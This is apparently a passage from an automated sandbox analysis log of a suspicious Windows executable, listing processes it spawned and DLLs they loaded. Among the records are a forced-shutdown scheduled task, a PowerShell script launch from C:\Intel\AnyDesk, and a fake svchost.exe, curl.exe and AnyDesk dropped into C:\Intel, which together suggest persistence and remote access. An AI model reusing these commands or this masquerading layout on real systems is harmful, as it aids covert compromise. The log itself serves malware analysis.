Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\powercfg.exe powercfg /SETDCVALUEINDEX SCHEME_CURRENT 238c9fa8-0aad-41ed-83f4-97be242c8f20 bd3b718a-0680-4d9d-8ab2-e1d2b4ac806d 1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\powercfg.exe powercfg /SETACVALUEINDEX SCHEME_CURRENT 238c9fa8-0aad-41ed-83f4-97be242c8f20 bd3b718a-0680-4d9d-8ab2-e1d2b4ac806d 1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /tn "ShutdownAt5AM" /tr "shutdown /s /f /t 0" /sc daily /st 05:00
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Powershell.exe -executionpolicy remotesigned -File C:\Intel\AnyDesk\wol.ps1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: C:\Intel\dc.exe "C:\Intel\dc.exe" /SYS 1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown

Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Section loaded: msftedit.dll	Jump to behavior
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Section loaded: windows.globalization.dll	Jump to behavior
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Section loaded: bcp47mrm.dll	Jump to behavior
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Section loaded: globinputhost.dll	Jump to behavior
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\attrib.exe	Section loaded: ulib.dll	Jump to behavior
Source: C:\Windows\SysWOW64\attrib.exe	Section loaded: fsutilext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: linkinfo.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Intel\curl.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Intel\curl.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Intel\curl.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Intel\curl.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Intel\curl.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Intel\curl.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Intel\curl.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Intel\curl.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Intel\curl.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Intel\curl.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Intel\curl.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Intel\curl.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Intel\curl.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Intel\curl.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Intel\curl.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Intel\curl.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Intel\curl.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Intel\curl.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Intel\curl.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Intel\curl.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Intel\curl.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Intel\curl.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Intel\curl.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Intel\curl.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Intel\curl.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Intel\curl.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Intel\curl.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Intel\curl.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Intel\curl.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Intel\curl.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Intel\curl.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Intel\curl.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Intel\curl.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Intel\curl.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Intel\curl.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Intel\curl.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Intel\curl.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Intel\curl.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Intel\curl.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Intel\curl.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Intel\curl.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Intel\curl.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Intel\curl.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Intel\curl.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Intel\curl.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Intel\curl.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Intel\curl.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Intel\curl.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Intel\curl.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Intel\driver.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Intel\driver.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Intel\driver.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Intel\driver.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Intel\driver.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Intel\driver.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Intel\driver.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Intel\driver.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Intel\Trays\Trays.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Intel\Trays\Trays.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Intel\Trays\Trays.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Intel\Trays\Trays.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Intel\Trays\Trays.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Intel\Trays\Trays.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Intel\Trays\Trays.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Intel\Trays\Trays.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Intel\Trays\Trays.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Intel\Trays\Trays.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Intel\Trays\Trays.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Intel\Trays\Trays.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Intel\Trays\Trays.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Intel\Trays\Trays.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Intel\Trays\Trays.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Intel\Trays\Trays.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Intel\Trays\Trays.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Intel\Trays\Trays.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Intel\Trays\Trays.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Intel\Trays\Trays.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Intel\Trays\Trays.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Intel\Trays\Trays.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Intel\Trays\Trays.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Intel\Trays\Trays.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Intel\Trays\Trays.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Intel\svchost.exe	Section loaded: apphelp.dll
Source: C:\Intel\svchost.exe	Section loaded: winmm.dll
Source: C:\Intel\svchost.exe	Section loaded: edgegdi.dll
Source: C:\Intel\svchost.exe	Section loaded: iphlpapi.dll
Source: C:\Intel\svchost.exe	Section loaded: winhttp.dll
Source: C:\Intel\svchost.exe	Section loaded: secur32.dll
Source: C:\Intel\svchost.exe	Section loaded: sspicli.dll
Source: C:\Intel\svchost.exe	Section loaded: msimg32.dll
Source: C:\Intel\svchost.exe	Section loaded: usp10.dll
Source: C:\Intel\svchost.exe	Section loaded: kernel.appcore.dll
Source: C:\Intel\svchost.exe	Section loaded: uxtheme.dll
Source: C:\Intel\svchost.exe	Section loaded: windows.storage.dll
Source: C:\Intel\svchost.exe	Section loaded: wldp.dll
Source: C:\Intel\svchost.exe	Section loaded: profapi.dll
Source: C:\Intel\svchost.exe	Section loaded: ntmarta.dll
Source: C:\Intel\svchost.exe	Section loaded: wtsapi32.dll
Source: C:\Intel\svchost.exe	Section loaded: sxs.dll
Source: C:\Intel\svchost.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Intel\svchost.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Intel\svchost.exe	Section loaded: msasn1.dll
Source: C:\Intel\Trays\4t-min64.exe	Section loaded: apphelp.dll
Source: C:\Intel\Trays\4t-min64.exe	Section loaded: version.dll
Source: C:\Intel\Trays\4t-min64.exe	Section loaded: edgegdi.dll
Source: C:\Intel\Trays\4t-min64.exe	Section loaded: uxtheme.dll
Source: C:\Intel\svchost.exe	Section loaded: winmm.dll
Source: C:\Intel\svchost.exe	Section loaded: edgegdi.dll
Source: C:\Intel\svchost.exe	Section loaded: iphlpapi.dll
Source: C:\Intel\svchost.exe	Section loaded: winhttp.dll
Source: C:\Intel\svchost.exe	Section loaded: secur32.dll
Source: C:\Intel\svchost.exe	Section loaded: sspicli.dll
Source: C:\Intel\svchost.exe	Section loaded: msimg32.dll
Source: C:\Intel\svchost.exe	Section loaded: usp10.dll
Source: C:\Intel\svchost.exe	Section loaded: kernel.appcore.dll
Source: C:\Intel\svchost.exe	Section loaded: uxtheme.dll
Source: C:\Intel\svchost.exe	Section loaded: windows.storage.dll
Source: C:\Intel\svchost.exe	Section loaded: wldp.dll
Source: C:\Intel\svchost.exe	Section loaded: profapi.dll
Source: C:\Intel\svchost.exe	Section loaded: ntmarta.dll
Source: C:\Intel\svchost.exe	Section loaded: firewallapi.dll
Source: C:\Intel\svchost.exe	Section loaded: dnsapi.dll
Source: C:\Intel\svchost.exe	Section loaded: fwbase.dll
Source: C:\Intel\svchost.exe	Section loaded: fwpolicyiomgr.dll
Source: C:\Intel\svchost.exe	Section loaded: cryptsp.dll
Source: C:\Intel\svchost.exe	Section loaded: rsaenh.dll
Source: C:\Intel\svchost.exe	Section loaded: cryptbase.dll
Source: C:\Intel\svchost.exe	Section loaded: netapi32.dll
Source: C:\Intel\svchost.exe	Section loaded: netutils.dll
Source: C:\Intel\svchost.exe	Section loaded: wkscli.dll
Source: C:\Intel\svchost.exe	Section loaded: srvcli.dll
Source: C:\Intel\svchost.exe	Section loaded: netprofm.dll
Source: C:\Intel\svchost.exe	Section loaded: npmproxy.dll
Source: C:\Intel\svchost.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Intel\svchost.exe	Section loaded: dhcpcsvc.dll
Source: C:\Intel\svchost.exe	Section loaded: mswsock.dll
Source: C:\Intel\svchost.exe	Section loaded: rasadhlp.dll
Source: C:\Intel\svchost.exe	Section loaded: fwpuclnt.dll
Source: C:\Intel\svchost.exe	Section loaded: msasn1.dll
Source: C:\Intel\svchost.exe	Section loaded: winmm.dll
Source: C:\Intel\svchost.exe	Section loaded: edgegdi.dll
Source: C:\Intel\svchost.exe	Section loaded: iphlpapi.dll
Source: C:\Intel\svchost.exe	Section loaded: winhttp.dll
Source: C:\Intel\svchost.exe	Section loaded: secur32.dll
Source: C:\Intel\svchost.exe	Section loaded: sspicli.dll
Source: C:\Intel\svchost.exe	Section loaded: msimg32.dll
Source: C:\Intel\svchost.exe	Section loaded: usp10.dll
Source: C:\Intel\svchost.exe	Section loaded: kernel.appcore.dll
Source: C:\Intel\svchost.exe	Section loaded: uxtheme.dll
Source: C:\Intel\svchost.exe	Section loaded: windows.storage.dll
Source: C:\Intel\svchost.exe	Section loaded: wldp.dll
Source: C:\Intel\svchost.exe	Section loaded: profapi.dll
Source: C:\Intel\svchost.exe	Section loaded: ntmarta.dll
Source: C:\Intel\svchost.exe	Section loaded: windowscodecs.dll
Source: C:\Intel\svchost.exe	Section loaded: thumbcache.dll
Source: C:\Intel\svchost.exe	Section loaded: policymanager.dll
Source: C:\Intel\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Intel\svchost.exe	Section loaded: wtsapi32.dll
Source: C:\Intel\svchost.exe	Section loaded: dpapi.dll
Source: C:\Intel\svchost.exe	Section loaded: cryptbase.dll
Source: C:\Intel\svchost.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Intel\svchost.exe	Section loaded: dhcpcsvc.dll
Source: C:\Intel\svchost.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Intel\svchost.exe	Section loaded: msasn1.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: apphelp.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: winmm.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: edgegdi.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: iphlpapi.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: winhttp.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: secur32.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: sspicli.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: msimg32.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: usp10.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: kernel.appcore.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: windows.storage.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: wldp.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: profapi.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: ntmarta.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: firewallapi.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: dnsapi.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: fwbase.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: fwpolicyiomgr.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: cryptsp.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: rsaenh.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: cryptbase.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: netapi32.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: netutils.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: wkscli.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: srvcli.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: netprofm.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: npmproxy.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: mswsock.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: napinsp.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: pnrpnsp.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: dhcpcsvc.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: wshbth.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: nlaapi.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: winrnr.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: fwpuclnt.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: rasadhlp.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: hnetcfg.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: atl.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: userenv.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: gpapi.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: winmm.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: edgegdi.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: iphlpapi.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: winhttp.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: secur32.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: sspicli.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: msimg32.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: usp10.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: kernel.appcore.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: uxtheme.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: windows.storage.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: wldp.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: profapi.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: ntmarta.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: windowscodecs.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: thumbcache.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: policymanager.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: msvcp110_win.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: wtsapi32.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: dpapi.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: cryptbase.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: dhcpcsvc.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: winmm.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: edgegdi.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: iphlpapi.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: winhttp.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: secur32.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: sspicli.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: msimg32.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: usp10.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: kernel.appcore.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: uxtheme.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: windows.storage.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: wldp.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: profapi.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: ntmarta.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: windowscodecs.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: thumbcache.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: policymanager.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: msvcp110_win.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: dpapi.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: cryptbase.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: wtsapi32.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: propsys.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: linkinfo.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: ntshrui.dll
